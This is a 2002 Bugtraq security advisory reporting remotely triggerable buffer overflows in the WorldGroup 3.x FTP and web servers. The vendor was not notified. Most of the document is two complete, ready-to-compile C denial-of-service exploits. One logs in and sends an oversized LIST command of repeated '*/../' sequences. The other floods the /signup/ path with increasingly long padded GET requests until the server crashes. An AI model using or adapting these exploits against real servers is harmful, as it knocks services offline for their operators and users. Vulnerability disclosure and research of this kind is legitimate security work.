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LBYTE&SECURITY.NNOV: Buffer overflows in Worldgroup
From: 3APA3A <3APA3A () SECURITY NNOV RU>
Date: Wed, 27 Feb 2002 16:15:54 +0300

Dear bugtraq,

Topic:         buffer overflows in WorldGroup 3.0 ftp and web servers
Authors:       Limpid  Byte  team (http://lbyte.void.ru, lbyte () host sk)
Date:          February, 25 2002
Software:      WorldGroup  3.x
Vendor:        Galacticomm (http://www.gcomm.com/) (?)
Risk:          High
Remote:        Yes
Exploitable:   Yes
Vendor Status: Not contacted, not confirmed

Details:

 Limpid  Byte  team (http://lbyte.void.ru, lbyte () host sk) reports buffer
 overflows  in  WorldGroup  3.x  ftp  and  web  servers  by  Galacticomm
 (http://www.gcomm.com/).

 For  FTP  server overflow on long LIST command.
 For HTTP overflow on long request
     GET /signup/a.[aaaaaaaa....aaaa] HTTP/1.0

Vendor:

 Vendor  was  not contacted because contact information is not available
 on the Web site (support only available for registered users).

Exploit:

 DoS exploits by Limpid Byte team
 (also available from http://www.security.nnov.ru/files/worldgroupdos.zip)

----------------- BEGIN FTP_DOS.C ---------------------
/*
        by Limpid Byte project
        http://lbyte.void.ru
        lbyte () host sk

[Worldgroup FTP Server Denial of Service]
More than 105 "/" in LIST command.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>

#define FOUND "220"

int main(int argc, char *argv[])
{
        int sock;
        struct sockaddr_in blah;
        struct hostent *he;
        char cgiBuff[1024];
        char *cgiPage[6];
        WSADATA wsaData;
        char cr[] = "\n";

        if (argc < 3)
        {
printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThis program crash Worldgroup servers 3.xx for windows 95/98/ME/NT/2K.");
printf("\n\rGreets to [WhU]//[GiN]//[LByte]//[WGHACK] projects!\n\r  USAGE:\n\r");
printf("Ftp_dos.exe [HOST] [LOGIN] [PASSWORD] ");
printf("\n\r example : fpt_dos.exe 127.0.0.1 anonymous anonymous () 127 0 0 1 \n");
                exit(1);
        }
        cgiPage[0] = "USER ";
        cgiPage[1] = (argv[2]);
        cgiPage[2] = "PASS ";
        cgiPage[3] = (argv[3]);
        cgiPage[4] = "PASV";
        cgiPage[5] = "LIST 
*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../\n";

        if(WSAStartup(0x101,&wsaData))
        {
                printf("Unable to initialize WinSock lib.\n");
                exit(1);
        }
printf("Let's crash the World!\n\r");
printf("Coded by the [eaSt]:\n\r");
printf("\nConnecting %s on port 21...\n\n", argv[1]);

        sock = socket(AF_INET,SOCK_STREAM,0);
        blah.sin_family=AF_INET;
        blah.sin_addr.s_addr=inet_addr(argv[1]);
        blah.sin_port=htons(21);
        if ((he = gethostbyname(argv[1])) != NULL)
        {
                memcpy((char *)&blah.sin_addr, he->h_addr, he->h_length);
        }
        else
        {
                if ((blah.sin_addr.s_addr = inet_addr(argv[1]))==INADDR_NONE)
                {
                WSACleanup();
                exit(1);
                }
        }

        if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))!=0)
        {
                WSACleanup();
                exit(1);
        }
        memset(cgiBuff, 0, sizeof(cgiBuff));
        cgiBuff[recv(sock,cgiBuff,sizeof(cgiBuff) - 1 ,0)] = 0;
        printf("<< %s", cgiBuff);
        send(sock,cgiPage[0],strlen(cgiPage[0]),0);
        send(sock,cgiPage[1],strlen(cgiPage[1]),0);
        send(sock,cr,1,0);
        memset(cgiBuff, 0, sizeof(cgiBuff));
        cgiBuff[recv(sock,cgiBuff,sizeof(cgiBuff) - 1 ,0)] = 0;
        printf(">> %s %s\n<< %s", cgiPage[0], cgiPage[1], cgiBuff);
        send(sock,cgiPage[2],strlen(cgiPage[2]),0);
        send(sock,cgiPage[3],strlen(cgiPage[3]),0);
        send(sock,cr,1,0);
        memset(cgiBuff, 0, sizeof(cgiBuff));
        cgiBuff[recv(sock,cgiBuff,sizeof(cgiBuff) - 1 ,0)] = 0;
        printf(">> %s %s\n<< %s", cgiPage[2], cgiPage[3], cgiBuff);
        send(sock,cgiPage[4],strlen(cgiPage[4]),0);
        send(sock,cr,1,0);
        memset(cgiBuff, 0, sizeof(cgiBuff));
        cgiBuff[recv(sock,cgiBuff,sizeof(cgiBuff) - 1 ,0)] = 0;
        printf(">> %s\n<< %s", cgiPage[4], cgiBuff);
        send(sock,cgiPage[5],strlen(cgiPage[5]),0);
        send(sock,cr,1,0);
        memset(cgiBuff, 0, sizeof(cgiBuff));
        cgiBuff[recv(sock,cgiBuff,sizeof(cgiBuff) - 1 ,0)] = 0;
        printf(">> %s\n<< %s", cgiPage[5], cgiBuff);

        printf("Try reconnect to %s\n", argv[1]);
        WSACleanup();
        return 0;
}
-----------------  END FTP_DOS.C  ---------------------

----------------- BEGIN WWW_DOS.C ---------------------
/*
        by Limpid Byte project
        http://lbyte.void.ru
        lbyte () host sk

Worldgroup Server Denial of Service for
Windows 9x/ME only.
Error between system fuction windows and
worldgroup from web interface.
REGUEST:
GET /signup/a.[aaaaaaaa....aaaa]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock.h>

#define FOUND "200"

int main(int argc, char *argv[])
{
        int sock, count;
        struct sockaddr_in blah; 
        struct hostent *he;
        char cgiBuff[1024];
        WSADATA wsaData;

        if (argc < 2)
        {
                printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThis program crash Worldgroup servers 3.20 for windows 
95/98/ME.\n");
                printf("Greets to [WhU]//[GiN]//[LByte]//[WGHACK] projects!\n\n");
                printf(" USAGE   : www_dos.exe [HOST] \n");
                printf(" example : www_dos.exe 127.0.0.1 \n");
                exit(1);
        }

        if(WSAStartup(0x101,&wsaData))  
        {
                printf("Unable to initialize WinSock lib.\n"); 
                exit(1);   
        }
        printf("Let's crash the World!\n");
        printf("Coded by the [eaSt]:\n");
        printf("\nScanning %s on port 80...\n\n", argv[1]);

        for (count = 0; count < 94; count++)
        {
                sock = socket(AF_INET,SOCK_STREAM,0);
                blah.sin_family=AF_INET;
                blah.sin_addr.s_addr=inet_addr(argv[1]);
                blah.sin_port=htons(80);
                if ((he = gethostbyname(argv[1])) != NULL)
                {
                        memcpy((char *)&blah.sin_addr, he->h_addr, he->h_length);
                }
                else
                {
                        if ((blah.sin_addr.s_addr = inet_addr(argv[1]))==INADDR_NONE)
                    {
                                WSACleanup();
                                exit(1);
                        }
                }

                if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))!=0)
                {
                        WSACleanup();
                        exit(1);
                }

                memset(cgiBuff, 0, sizeof(cgiBuff));
                sprintf(cgiBuff, "GET /signup/");
                memset(cgiBuff + 12, 'a', 219 + count);
                sprintf(cgiBuff + 12 + 219 + count, ".txt?=../test.txt HTTP/1.0\n\n");
                printf("Sending: %d symbols request\n", strlen(cgiBuff));

                send(sock,cgiBuff,strlen(cgiBuff),0);
                memset(cgiBuff, 0, sizeof(cgiBuff));
                if(!recv(sock,cgiBuff,sizeof(cgiBuff),0)) {
                        printf("Crashed\n");
                }
                else {
                        cgiBuff[32] = 0;
                        if (strstr(cgiBuff,FOUND))
                        {
                                printf("Send (%s)\n", cgiBuff);
                        }
                        else
                        {
                                printf("Not Found (%s)\n", cgiBuff);
                        }
                }

                closesocket(sock);
        }

        printf("Try reconnect to %s\n", argv[1]);
        WSACleanup();
        return 0;
}
-----------------  END WWW_DOS.C  ---------------------


-- 
http://www.security.nnov.ru
         /\_/\
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